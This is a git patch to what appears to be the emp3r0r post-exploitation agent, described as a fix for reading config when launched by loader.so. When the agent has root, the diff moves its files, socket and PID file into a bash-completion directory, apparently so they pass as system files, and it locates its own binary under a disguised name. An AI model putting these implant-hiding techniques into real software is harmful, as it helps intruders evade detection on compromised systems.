From 9074fc4ddc8ea90851acdad8833f0007a9cc92b2 Mon Sep 17 00:00:00 2001 From: jm33-m0 Date: Wed, 2 Aug 2023 17:14:08 +0900 Subject: [PATCH] fix: unable to read config when started by loader.so --- core/lib/agent/config.go | 13 +++++++++++++ core/lib/util/mem.go | 12 ++++++++++++ 2 files changed, 25 insertions(+) diff --git a/core/lib/agent/config.go b/core/lib/agent/config.go index 1ac63505d..1ece997ad 100644 --- a/core/lib/agent/config.go +++ b/core/lib/agent/config.go @@ -2,6 +2,8 @@ package agent import ( "fmt" + "log" + "strings" emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data" "github.com/jm33-m0/emp3r0r/core/lib/tun" @@ -38,6 +40,17 @@ func ApplyRuntimeConfig() (err error) { // CA tun.CACrt = []byte(RuntimeConfig.CA) + // change agent root to /usr/share/bash-completion/completions/helpers + agent_root_base := util.FileBaseName(RuntimeConfig.AgentRoot) + if HasRoot() { + prefix := "/usr/share/bash-completion/completions/helpers/" + RuntimeConfig.AgentRoot = fmt.Sprintf("%s/%s", prefix, agent_root_base) + RuntimeConfig.UtilsPath = strings.ReplaceAll(RuntimeConfig.UtilsPath, "/tmp/", prefix) + RuntimeConfig.SocketName = strings.ReplaceAll(RuntimeConfig.SocketName, "/tmp/", prefix) + RuntimeConfig.PIDFile = strings.ReplaceAll(RuntimeConfig.PIDFile, "/tmp/", prefix) + log.Printf("Agent root: %s", RuntimeConfig.AgentRoot) + } + // Socks5 proxy server addr := fmt.Sprintf("0.0.0.0:%s", RuntimeConfig.AutoProxyPort) emp3r0r_data.ProxyServer, err = socks5.NewClassicServer(addr, "", diff --git a/core/lib/util/mem.go b/core/lib/util/mem.go index b8cf7bb06..32ffb1df4 100644 --- a/core/lib/util/mem.go +++ b/core/lib/util/mem.go @@ -38,6 +38,18 @@ func GetProcessExe(pid int) (exe_data []byte, err error) { if runtime.GOOS == "windows" { process_exe_file = os.Args[0] } + // see loader.c + // if started by loader.so, /proc/self/exe will not be agent binary + if os.Getenv("LD") == "true" { + exe_file := FileBaseName(os.Args[0]) + process_exe_file = fmt.Sprintf("%s/_%s", + ProcCwd(pid), + exe_file) + if os.Geteuid() == 0 { + process_exe_file = fmt.Sprintf("/usr/share/bash-completion/completions/%s", + exe_file) + } + } exe_data, err = ioutil.ReadFile(process_exe_file) return